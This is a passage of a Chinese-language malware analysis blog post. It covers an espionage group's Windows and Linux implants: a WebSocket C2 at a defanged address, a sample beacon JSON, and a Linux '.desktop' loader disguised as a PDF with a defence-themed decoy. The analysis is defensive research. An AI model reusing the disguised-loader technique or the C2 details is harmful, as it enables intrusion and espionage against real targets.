none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;"><span leaf="">字段，</span></span><code style="box-sizing: inherit;border: 1px solid rgb(225, 234, 239);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-variant-numeric: inherit;font-variant-east-asian: inherit;font-variant-alternates: inherit;font-variant-position: inherit;font-variant-emoji: inherit;font-weight: 400;font-stretch: inherit;line-height: 1em;font-family: monospace, monospace;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-size: 0.9em;margin: 0px;padding: 0.15em 0.4em;vertical-align: middle;background: rgb(240, 246, 249);border-radius: 0.25em;color: rgb(21, 23, 26);letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">id</span></code><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;"><span leaf="">字段由随机生成的 8 个字节拼接而来，支持的三个指令</span></span><code style="box-sizing: inherit;border: 1px solid rgb(225, 234, 239);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-variant-numeric: inherit;font-variant-east-asian: inherit;font-variant-alternates: inherit;font-variant-position: inherit;font-variant-emoji: inherit;font-weight: 400;font-stretch: inherit;line-height: 1em;font-family: monospace, monospace;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-size: 0.9em;margin: 0px;padding: 0.15em 0.4em;vertical-align: middle;background: rgb(240, 246, 249);border-radius: 0.25em;color: rgb(21, 23, 26);letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">LIST、UPLOAD、DOWNLOAD</span></code><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;"><span leaf="">没变。</span></span></span></span></p><pre style="box-sizing: inherit;border: 0px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-variant-numeric: inherit;font-variant-east-asian: inherit;font-variant-alternates: inherit;font-variant-position: inherit;font-variant-emoji: inherit;font-weight: 400;font-stretch: inherit;line-height: 1em;font-family: monospace, monospace;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-size: 1.4rem;margin: max(3.2vmin, 24px) 0px 0px;padding: 16px 20px;vertical-align: baseline;grid-column: main-start / main-end;background: none 0% 0% / auto repeat scroll padding-box border-box rgb(21, 23, 26);border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.1) 0px 2px 6px -2px, rgba(0, 0, 0, 0.4) 0px 0px 1px;color: rgb(229, 239, 245);overflow: auto;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" data-pm-slice="0 0 []"><code style="box-sizing: inherit;border: 0px;font-style: inherit;font-variant: inherit;font-weight: inherit;font-stretch: inherit;font-family: monospace, monospace;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-size: 1em;margin: 0px;padding: 0px;vertical-align: baseline;"><span leaf=""><span textstyle="" style="font-size: 12px;">{</span></span><span leaf=""><br/></span><span leaf=""><span textstyle="" style="font-size: 12px;">  &#34;id&#34;: &#34;ultra_client_6edc15ad7feac78f&#34;,</span></span><span leaf=""><br/></span><span leaf=""><span textstyle="" style="font-size: 12px;">  &#34;location&#34;: &#34;Roubaix, Hauts-de-France, France - UltraPC(Rubin)&#34;,</span></span><span leaf=""><br/></span><span leaf=""><span textstyle="" style="font-size: 12px;">  &#34;os&#34;: &#34;Microsoft Windows [�æ±¾ 10.0.22621.4317&#34;,</span></span><span leaf=""><br/></span><span leaf=""><span textstyle="" style="font-size: 12px;">  &#34;antivirus&#34;: &#34;Windows Defender&#34;</span></span><span leaf=""><br/></span><span leaf=""><span textstyle="" style="font-size: 12px;">}</span></span></code></pre><h2 style="box-sizing: inherit;border: 0px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-variant-numeric: inherit;font-variant-east-asian: inherit;font-variant-alternates: inherit;font-variant-position: inherit;font-variant-emoji: inherit;font-weight: 700;font-stretch: inherit;line-height: 1.15;font-family: Georgia, Times, serif;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-size: 2.8rem;margin: 2em 0px 0px;padding: 0px;vertical-align: baseline;text-rendering: optimizelegibility;letter-spacing: -0.01em;grid-column: main-start / main-end;color: rgb(21, 23, 26);orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" data-pm-slice="0 0 []"><strong style="box-sizing: inherit;border: 0px;font-style: inherit;font-variant: inherit;font-weight: 700;font-stretch: inherit;line-height: inherit;font-family: inherit;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-size: 21px;margin: 0px;padding: 0px;vertical-align: baseline;"><span leaf=""><span textstyle="" style="font-size: 20px;">Windows-V3: WebSocket</span></span></strong></h2><p style="text-align: left;"><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;"><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;" data-pm-slice="0 0 []"><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;" data-pm-slice="0 0 []"><span leaf="">八月底捕获了另一个变种，改为使用 WebSocket 协议通信，C2 服务器为</span></span><code style="box-sizing: inherit;border: 1px solid rgb(225, 234, 239);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-variant-numeric: inherit;font-variant-east-asian: inherit;font-variant-alternates: inherit;font-variant-position: inherit;font-variant-emoji: inherit;font-weight: 400;font-stretch: inherit;line-height: 1em;font-family: monospace, monospace;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-size: 0.9em;margin: 0px;padding: 0.15em 0.4em;vertical-align: middle;background: rgb(240, 246, 249);border-radius: 0.25em;color: rgb(21, 23, 26);letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">ws://kavach[.]space:5500</span></code><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;"><span leaf="">，功能与下面要介绍的 Linux 版本二相同，此处不作赘述。</span></span></span></span></p><h2 style="box-sizing: inherit;border: 0px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-variant-numeric: inherit;font-variant-east-asian: inherit;font-variant-alternates: inherit;font-variant-position: inherit;font-variant-emoji: inherit;font-weight: 700;font-stretch: inherit;line-height: 1.15;font-family: Georgia, Times, serif;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-size: 2.8rem;margin: 2em 0px 0px;padding: 0px;vertical-align: baseline;text-rendering: optimizelegibility;letter-spacing: -0.01em;grid-column: main-start / main-end;color: rgb(21, 23, 26);orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" data-pm-slice="0 0 []"><strong style="box-sizing: inherit;border: 0px;font-style: inherit;font-variant: inherit;font-weight: 700;font-stretch: inherit;line-height: inherit;font-family: inherit;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-size: 21px;margin: 0px;padding: 0px;vertical-align: baseline;"><span leaf=""><span textstyle="" style="font-size: 20px;">Linux-V1: HTTP</span></span></strong></h2><p style="text-align: left;"><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;"><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;" data-pm-slice="0 0 []"><span leaf=""><span textstyle="" style="font-size: 18px;font-weight: bold;"># Loader</span></span></span></span></p><p style="text-align: left;"><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;"><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;" data-pm-slice="0 0 []"><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;" data-pm-slice="0 0 []"><span leaf="">Linux 变种的第一个版本发现在八月初，入口样本是一个名为 </span></span><strong style="box-sizing: inherit;border: 0px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-variant-numeric: inherit;font-variant-east-asian: inherit;font-variant-alternates: inherit;font-variant-position: inherit;font-variant-emoji: inherit;font-weight: 700;font-stretch: inherit;line-height: inherit;font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-size: 15px;margin: 0px;padding: 0px;vertical-align: baseline;color: rgb(21, 23, 26);letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">“Meeting_Ltr_ID1543ops.pdf.desktop”</span></strong><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;"><span leaf=""> 的文件，“.desktop”文件即 Linux 的快捷方式或程序启动器，类似 Windows 的 .lnk 快捷方式文件。频繁使用 .desktop 文件作为 loader 来投递不同工具，是该组织一个明显的行为特征。</span></span></span></span></p><p><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;"><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;" data-pm-slice="0 0 []"><span leaf=""><img data-imgfileid="100000486" alt="Linux-V1-Loader.png" class="rich_pages wxw-img" data-ratio="0.22952853598014888" data-type="png" data-w="806" src="https://wechat2rss.xlab.app/img-proxy/?k=12df39a9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbiadtLKDCnAS4jM6MQNcBkxKvyrqCACOiaiaCT4Sfq6uFt0EKSMP7VsAh17gkJ3OPV8NYDpQ3VY0Bk1A%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></span></span></p><p style="text-align: left;"><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;"><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;" data-pm-slice="0 0 []"><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;" data-pm-slice="0 0 []"><span leaf="">这个 .desktop 文件表面上伪装成一个 PDF 文档的快捷方式，在桌面/菜单中显示的名字是 </span></span><strong style="box-sizing: inherit;border: 0px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-variant-numeric: inherit;font-variant-east-asian: inherit;font-variant-alternates: inherit;font-variant-position: inherit;font-variant-emoji: inherit;font-weight: 700;font-stretch: inherit;line-height: inherit;font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-size: 15px;margin: 0px;padding: 0px;vertical-align: baseline;color: rgb(21, 23, 26);letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">“Meeting_Ltr_ID1543ops.pdf”</span></strong><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;"><span leaf="">，执行后会打开用户机器上的 Firefox 浏览器访问一个 GoogleDrive 页面误导用户，这是一份标有 </span></span><strong style="box-sizing: inherit;border: 0px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-variant-numeric: inherit;font-variant-east-asian: inherit;font-variant-alternates: inherit;font-variant-position: inherit;font-variant-emoji: inherit;font-weight: 700;font-stretch: inherit;line-height: inherit;font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-size: 15px;margin: 0px;padding: 0px;vertical-align: baseline;color: rgb(21, 23, 26);letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">“CONFIDENTIAL（机密）”</span></strong><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;"><span leaf=""> 的文件，内容大致是 </span></span><strong style="box-sizing: inherit;border: 0px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-variant-numeric: inherit;font-variant-east-asian: inherit;font-variant-alternates: inherit;font-variant-position: inherit;font-variant-emoji: inherit;font-weight: 700;font-stretch: inherit;line-height: inherit;font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-size: 15px;margin: 0px;padding: 0px;vertical-align: baseline;color: rgb(21, 23, 26);letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">“某国国防研究与发展组织（DRDO）与以色列国防企业在滑翔炸弹和高速系统（包括高超音速推进技术等）方面的研发联盟相关事宜”</span></strong><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;"><span leaf="">，这也符合该组织常用的钓鱼主题。</span></span></span></span></p><p><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;"><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;" data-pm-slice="0 0 []"><span leaf=""><img data-imgfileid="100000487" alt="Linux-V1-PDF.png" class="rich_pages wxw-img" data-ratio="0.9203703703703704" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=b1e8eb7c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbiadtLKDCnAS4jM6MQNcBkxK4ndVxCZ5ibW2Oyeia8PJ5hicQ8dGvkdBoYj1l2zVq0J4ibBmiaHeRTPibGEw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></span></span></p><p style="text-align: left;"><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;"><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;" data-pm-slice="0 0 []"><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: 